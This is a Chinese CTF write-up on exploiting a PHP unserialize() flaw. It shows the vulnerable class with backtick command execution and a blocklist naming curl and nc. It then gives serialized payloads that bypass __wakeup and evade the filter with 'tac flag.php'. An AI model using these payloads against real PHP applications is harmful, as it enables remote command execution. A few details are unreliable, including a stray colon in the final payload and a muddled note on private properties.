打开网址发现一片空白
审查源代码发现一串base,解码得到备份

打开查看发现源代码,
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
这里有几个点要注意:
一,三个魔术方法
unserialize()#该函数是反序列化,会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源,
_construct():PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
__destruct():PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
2,访问控制符
当访问控制符为private与protect时,序列化时会比较特殊:
protected属性被序列化的时候属性值会在前面加上%00*%00:如%00*%00属性名
private属性被序列化的时候属性值会在前面加上%00*%00:如%00类名%00属性名
知道这几个条件后开始构造payload,
传一个code参数,程序会对其反序列化,当判断username为admin时,会执行cmd内的代码
O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
发现错误
再仔细看一下发现漏一点,
因为调用unserialize函数之前会调用__wakeup方法,后面会将username覆盖为guest。需要绕过,将变量个数修改为大于实际值的数就能够绕过。
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
看到了flag存放的文件,但很多查看的命令都被禁用了,(cat|more|tail|less|head|curl|nc|strings|sort|echo/i),但是还有一个tac没有禁用,nice
tac :从最后一行开始读取,跟cat相反
构造
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";:s:12:"tac flag.php";}
得到flag

本文介绍了如何通过理解PHP的魔术方法如__wakeup、__construct和__destruct,以及序列化过程中的访问控制符特性,来构造payload绕过权限检查。在给定的代码示例中,通过调整序列化数据的结构,成功以管理员身份执行命令并使用未禁用的tac命令查看flag.php内容,从而获取flag。

被折叠的 条评论
为什么被折叠?



